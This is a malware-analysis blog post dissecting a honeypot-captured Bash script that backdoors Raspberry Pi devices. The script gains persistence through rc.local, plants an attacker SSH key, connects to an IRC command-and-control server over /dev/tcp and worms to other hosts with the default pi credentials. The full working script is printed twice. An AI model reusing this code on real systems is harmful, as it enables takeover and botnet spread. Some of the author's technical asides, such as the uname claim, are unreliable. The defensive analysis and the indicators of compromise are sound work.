Fishing for Malware — Part Four: Raspberry Pi IRC Bot

Published 2022-01-25
Edited 2023-10-25 (git:05b41b4)

While dissecting binaries using Ghidra, Strings, and Hexdump makes for a fun puzzle in itself, it’s also fascinating to inspect the raw source code of malware. Cowrie, a Telnet and SSH honeypot with emulates a Unix environment packaged within T-Pot, captured quite the interesting Bash script, which includes a variety of malicious elements specifically designed for the Raspberry Pi platform.


Purpose: installation of TCP backdoor on Linux; accepts commands via IRC channel #biret.

Indicators of Compromise

  • MD5: 182be4e7136619107ae4c41601d43118
  • SHA-1: b06060d90decfa5bb90f379a17f34699fae7ad6f
  • SHA-256: 7d031312baf7d28ccb1bbf7598c368f29b33c88e650e22e115d02b308f0b6491
  • Connected domains:
    • Bucharest.RO.EU.Undernet.Org
  • Unexpected TCP connections on port 6667
  • Entry for XXXXXXXX, where X represents any ASCII char, in /opt or in /etc/rc.local
  • Public key matching the following:
    • SSH: ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B
    • SSL: MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF WRq+Z8HYMvPlgSRA3wIDAQAB
  • Unexpected password change on local user account pi
  • Unexpected installaton of packages zmap, sshpass
  • Proccess running from /tmp using nohup


  • Magic: plain ASCII
  • Language: Bash
  • Size: 4.65 KB

Source Code

  1C0755 4745 nC9qy0wv
  4MYSELF=`realpath $0`
  6echo $MYSELF >> $DEBUG
  8if [ "$EUID" -ne 0 ]
 10  NEWMYSELF=`mktemp -u 'XXXXXXXX'`
 11  sudo cp $MYSELF /opt/$NEWMYSELF
 12  sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
 13  sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
 14  sudo sh -c "echo 'exit 0' >> /etc/rc.local"
 15  sleep 1
 16  sudo reboot
 19echo $TMP1 >> $DEBUG
 22killall minerd
 23killall node
 24killall nodejs
 25killall ktx-armv4l
 26killall ktx-i586
 27killall ktx-m68k
 28killall ktx-mips
 29killall ktx-mipsel
 30killall ktx-powerpc
 31killall ktx-sh4
 32killall ktx-sparc
 33killall arm5
 34killall zmap
 35killall kaiten
 36killall perl
 38echo "" >> /etc/hosts
 39rm -rf /root/.bashrc
 40rm -rf /home/pi/.bashrc
 42usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi
 44mkdir -p /root/.ssh
 45echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B"  >> /root/.ssh/authorized_keys
 47echo "nameserver" >> /etc/resolv.conf
 48rm -rf /tmp/ktx*
 49rm -rf /tmp/cpuminer-multi
 50rm -rf /var/tmp/kaiten
 52cat > /tmp/public.pem <<EOFMARKER
 53-----BEGIN PUBLIC KEY-----
 58-----END PUBLIC KEY-----
 61BOT=`mktemp -u 'XXXXXXXX'`
 63cat > /tmp/$BOT <<'EOFMARKER'
 66SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
 68while [ true ]; do
 70  arr[0]=""
 71  arr[1]=""
 72  arr[2]=""
 73  arr[3]="Bucharest.RO.EU.Undernet.Org"
 74  arr[4]=""
 75  arr[5]=""
 76  rand=$[$RANDOM % 6]
 77  svr=${arr[$rand]}
 79  eval 'exec 3<>/dev/tcp/$svr/6667;'
 80  if [[ ! "$?" -eq 0 ]] ; then
 81      continue
 82  fi
 84  echo $NICK
 86  eval 'printf "NICK $NICK\r\n" >&3;'
 87  if [[ ! "$?" -eq 0 ]] ; then
 88      continue
 89  fi
 90  eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
 91  if [[ ! "$?" -eq 0 ]] ; then
 92    continue
 93  fi
 95  # Main loop
 96  while [ true ]; do
 97    eval "read msg_in <&3;"
 99    if [[ ! "$?" -eq 0 ]] ; then
100      break
101    fi
103    if  [[ "$msg_in" =~ "PING" ]] ; then
104      printf "PONG %s\n" "${msg_in:5}";
105      eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
106      if [[ ! "$?" -eq 0 ]] ; then
107        break
108      fi
109      sleep 1
110      eval 'printf "JOIN #biret\r\n" >&3;'
111      if [[ ! "$?" -eq 0 ]] ; then
112        break
113      fi
114    elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
115      privmsg_h=$(echo $msg_in| cut -d':' -f 3)
116      privmsg_data=$(echo $msg_in| cut -d':' -f 4)
117      privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)
119      hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
120      sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`
122      if [[ "$sign" == "$hash" ]] ; then
123        CMD=`echo $privmsg_data | base64 -d -i`
124        RES=`bash -c "$CMD" | base64 -w 0`
125        eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
126        if [[ ! "$?" -eq 0 ]] ; then
127          break
128        fi
129      fi
130    fi
131  done
135chmod +x /tmp/$BOT
136nohup /tmp/$BOT 2>&1 > /tmp/bot.log &
137rm /tmp/nohup.log -rf
138rm -rf nohup.out
139sleep 3
140rm -rf /tmp/$BOT
142NAME=`mktemp -u 'XXXXXXXX'`
144date > /tmp/.s
146apt-get update -y --force-yes
147apt-get install zmap sshpass -y --force-yes
149while [ true ]; do
150  FILE=`mktemp`
151  zmap -p 22 -o $FILE -n 100000
152  killall ssh scp
153  for IP in `cat $FILE`
154  do
155    sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
156    sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
157  done
158  rm -rf $FILE
159  sleep 10

Annotated Breakdown

Okay — there is a lot to unpack here. Let’s proceed chronologically down the length of the script.

1MYSELF=`realpath $0` # Find my location
3echo $MYSELF >> $DEBUG

realpath is part of the GNU coreutils; it resolves the location of an entity in the filesystem while resolving all references and links. The functionality of pwd, in most cases, may be thought of as a subset of realpath in that respect. The above code is used to determine where the script itself resides upon execution.

Privilege Escalation

 1if [ "$EUID" -ne 0 ] # If not running as root (or under sudo/doas)
 3  NEWMYSELF=`mktemp -u 'XXXXXXXX'` # Generate a pseudorandom string 8 chars long
 4  sudo cp $MYSELF /opt/$NEWMYSELF # Copy this script to /opt with the name geenrated above
 5  sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local" # Start sh on boot...
 6  sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local" # ...So that this script can also be executed on boot
 7  sudo sh -c "echo 'exit 0' >> /etc/rc.local" # Stop whatever else may come afterwards
 8  sleep 1
 9  sudo reboot #Reboot so that the script may take effect *running as ROOT*
12echo $TMP1 >> $DEBUG

This is a fantastic example of simple privilege escalation! The EUID is first checked — an EUID of zero indicates that the current privilege level is root, by way of actually running as the root account or elevation via sudo or doas. Not running as root presents issues for this script; the following steps are executed if so:

  1. Generate a random string with mktemp.
  2. Copy the script to /opt using the generated string as the filename.
  3. Append sh (shell) and the script to /etc/rc.local, which will be executed on boot as root, thereby running the script as root.
  4. Reboot.

Quite creative.

Killing Processes

 2killall minerd
 3killall node
 4killall nodejs
 5killall ktx-armv4l
 6killall ktx-i586
 7killall ktx-m68k
 8killall ktx-mips
 9killall ktx-mipsel
10killall ktx-powerpc
11killall ktx-sh4
12killall ktx-sparc
13killall arm5
14killall zmap
15killall kaiten
16killall perl

The script then kills the processes shown above. zmap, a network scanner, seems reasonable to stop (with malicious intent), but I’m not sure why the attacker chose to stop the others, which are oddly specific. Perhaps to save resources?

Cleaning Bash Profiles; Changing Account Password

1echo "" >> /etc/hosts # Classic malicious domain
2rm -rf /root/.bashrc # Clearing Bash customization from the root account
3rm -rf /home/pi/.bashrc # Clearing Bash customization from the... pi account? Raspberry Pi?
5# Changing the password of the pi account (encrypted)
6usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi

This section provides some much-needed insight: the assumption of the pi account implies that this script must be designed for use on Raspberry Pi devices! This may also explain killing the processes above — Node, for example, is a common application run on Rasberry Pi computers for development work.

Injecting SSH key

1mkdir -p /root/.ssh
2echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B"  >> /root/.ssh/authorized_keys

Here’s another interesting section — the script appends the public SSH key of the attacker to provide for remote access! Let this serve as a reminder to always audit authorized_keys. Google, for example, prevents this attack from occurring on their Cloud Compute VMs by running a service that periodically resets authorized_keys to a version that only includes keys explicitly defined in the VM metadata.

Removing Malware?

1echo "nameserver" >> /etc/resolv.conf
2rm -rf /tmp/ktx*
3rm -rf /tmp/cpuminer-multi
4rm -rf /var/tmp/kaiten

As far as I can tell, the directories removed in the code above belong to (potentially malicious) crypto miners. Therefore, it seems that this malware is cleaning up the processes of other malware. How kind of the script author.

The DNS entry ensures connectivity to the attacker by using a common host (Google). This malware otherwise would might not function on networks such as my own, as I run a personal DNS server with many malicious and otherwise undesired domains blocked.

Storing a Public Key

1cat > /tmp/public.pem <<EOFMARKER
7-----END PUBLIC KEY-----

A public key is then placed within /tmp/public.pem, presumably to allow for simple remote access by another service (?).

Embedded IRC Script

So far, a lot of preliminary steps have been taken to prepare the target environment for attack. It is here, within an infinite while loop, that the attack finally occurs.


1BOT=`mktemp -u 'XXXXXXXX'` # Generates another pseudorandom string for the file name below
3cat > /tmp/$BOT <<'EOFMARKER'

Setting a system name

3SYS=`uname -a | md5sum | awk -F' ' '{print $1}'` # Gets a hash of the system name
4NICK=a${SYS:24} # Sets a nickname

Frankly, this section strikes me as dumb misguided (kindly pass on my most sincere apologies to the script author). Here is why: except for a few edge cases, the vast majority of Raspberry Pi devices run Linux. On Linux, uname -a always returns the same string:

1$ uname -a

So, the SYS variable assignment command does the following:

  1. Execute uname -a, which will almost always return the same “Linux” string.
  2. Pipe “Linux” into md5sum, which will always return the “638dd9cda411c1f92e831eeb14780a67”.

Since the hash is the same every time, NICK=a${SYS:24} will set the nickname variable to the string “a14780a67” at least 99 percent of the time. So, what is the point of setting a nickname to the same string on every target device? I’m not sure — for that, we would have to tap into the infinite wisdom of the script author.

Mapping IRC Servers

 2while [ true ]; do
 4  # Servers
 5  arr[0]=""
 6  arr[1]=""
 7  arr[2]=""
 8  arr[3]="Bucharest.RO.EU.Undernet.Org"
 9  arr[4]=""
10  arr[5]=""
12  # Chooses a pseudorandom server
13  rand=$[$RANDOM % 6]
14  svr=${arr[$rand]}
16  # Check if an established TCP connection exists between host and server
17  eval 'exec 3<>/dev/tcp/$svr/6667;' #  Also, set new FD (3)
18  if [[ ! "$?" -eq 0 ]] ; then
19      continue # Skip back to the top of the loop if a connection already exists
20      # NO `sleep` statement here... will check endlessly as fast as possible; silly
21  fi
22  ...

It appears that this bot uses the UnderNet IRC system to establish connections with. Let’s take a look at UnderNet— perhaps we can find IRC channels (specifically #biret) related to this malware. For reference, #biret is the channel that this script initiates connections to.

Screenshot of UnderNet IRC channel list
Screenshot of UnderNet IRC channel list

Sigh. IRC… A relic that is perhaps best forgotten in some aspects. Two other users, which I have deliberately not shown here, are active at the time of writing this post in #biret. In fact, one of the active users has the name of a compromised target device!

Main Logic

 2  echo $NICK
 4  eval 'printf "NICK $NICK\r\n" >&3;'
 5  if [[ ! "$?" -eq 0 ]] ; then
 6      continue
 7  fi
 8  eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
 9  if [[ ! "$?" -eq 0 ]] ; then
10    continue
11  fi
13  # Main loop
14  while [ true ]; do
15    eval "read msg_in <&3;" // Examine the contents of msg_in recieved from the TCP host-IRC connection
17    # If msg_in is null, quit the main loop
18    if [[ ! "$?" -eq 0 ]] ; then
19      break
20    fi
22    # On IRC in = 'PING', respond 'PONG' via IRC
23    # Presumably to test connectivity?
24    if  [[ "$msg_in" =~ "PING" ]] ; then
25      printf "PONG %s\n" "${msg_in:5}";
26      eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
27      if [[ ! "$?" -eq 0 ]] ; then
28        break
29      fi
30      sleep 1
32      // If msg_in is null, quit the main loop
33      eval 'printf "JOIN #biret\r\n" >&3;'
34      if [[ ! "$?" -eq 0 ]] ; then
35        break
36      fi
38    # `=~` is a bash regex operator which searches for 'PRIVMSG' within $msg_in
39    # So, if 'PRIVMSG' is somewhere within $msg_in, continue
40    elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
42      # Cut $msg_in, extracting the relevant elements:
43      # - A section to be hashed
44      # - A data section containing instructions
45      # - The IRC nickname of the host
46      privmsg_h=$(echo $msg_in| cut -d':' -f 3)
47      privmsg_data=$(echo $msg_in| cut -d':' -f 4)
48      privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)
50      # Get an MD5 hash of the data from $msg_in
51      # Use $privmsg_h to sign the public key generated earlier
52      # Use: Ensure attacks come from the original attacker
53      hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
54      sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`
56      # If the sign is genuine (signed with the attackers public key)
57      if [[ "$sign" == "$hash" ]] ; then
58        CMD=`echo $privmsg_data | base64 -d -i` // Then grab the command to execute
59        RES=`bash -c "$CMD" | base64 -w 0`
60        eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;' // Echo command back to attacker?
62        # If msg_in is null, quit the main loop
63        if [[ ! "$?" -eq 0 ]] ; then
64          break
65        fi
66      fi
67    fi
68  done

The main execution loop has several interesting elements. Essentially, the attacker establishes communication with the victim host via IRC and signs their attacks to ensure no other malicious actor can take advantage of the exploit. Very creative — this is likely also why no commands I sent to victim hosts in #biret responded to requests.

 2chmod +x /tmp/$BOT # Makes script executable so that it can run on other systems
 3nohup /tmp/$BOT 2>&1 > /tmp/bot.log & # Ensures that the script is not stopped upon user logoff or any other hang events
 5# Clean traces
 6rm /tmp/nohup.log -rf
 7rm -rf nohup.out
 8sleep 3
 9rm -rf /tmp/$BOT
11# Generate a new name
12NAME=`mktemp -u 'XXXXXXXX'`
14date > /tmp/.s
16# Install:
17# - ZMap: a network scanner
18# - sshpass: a utility that allows for keyboard-interactive SSH sessions in non-interactive (automated) sessions
19apt-get update -y --force-yes
20apt-get install zmap sshpass -y --force-yes
23while [ true ]; do
24  FILE=`mktemp`
26  # Collect all IPs with port 22 open
27  zmap -p 22 -o $FILE -n 100000
28  killall ssh scp
29  for IP in `cat $FILE`
31  # For each IP with 22 open, attempt to log in awith the credential set pi:praspberry
32  # If a connection succeeds:
34  do
35    sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
36    sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
37  done
38  rm -rf $FILE // Clean traces
39  sleep 10

And here we have the finale: as with so many other malicious binaries, it attempts to spread where it can, trying to infect any unsecured Raspberry Pi on the local network. For a user with many new Raspberry Pis, I imagine this attack would prove very effective, netting many hosts.


This was certainly an interesting script to behold. From the methodology employed by the attacker to control remote machines to the attack signing, it is evident that significant thought went into the development of this script. I would love the opportunity to anonymously interview the attacker… How many hosts were infected? Were infected hosts primarily useless, residential hobby computers? Was it possible to pivot from infected Raspberry pis to more important targets? Abstracting the unethicality of the development of malware, the creativity demonstrated here is remarkable and has made for quite an engaging learning experience.

Note: I do not condone the development or distribution of malware outside of educational contexts.

What should I do if I find this script on my Raspberry Pi?

Immediately disconnect the device from the network and eject the storage medium. Mount it on an external device, back up any needed data, and then wipe all data. Reinstall the OS as normal. Do not attempt to manually remove the malware, as there is no reliable record of extra steps the attacker may have taken.

What can we learn from this attack?

Always, always, always secure services and minimize service visibility on the Internet. This attack would not function without the ability to deposit itself onto a host. Further, change default passwords for every account and service, even those not used. This script takes advantage of negligence in that regard, searching for hosts with the default Rasberry Pi credentials to pivot to.

Stay safe online, and thank you so much for reading.

Fishing for Malware: Part 5 →
← Fishing for Malware: Part 3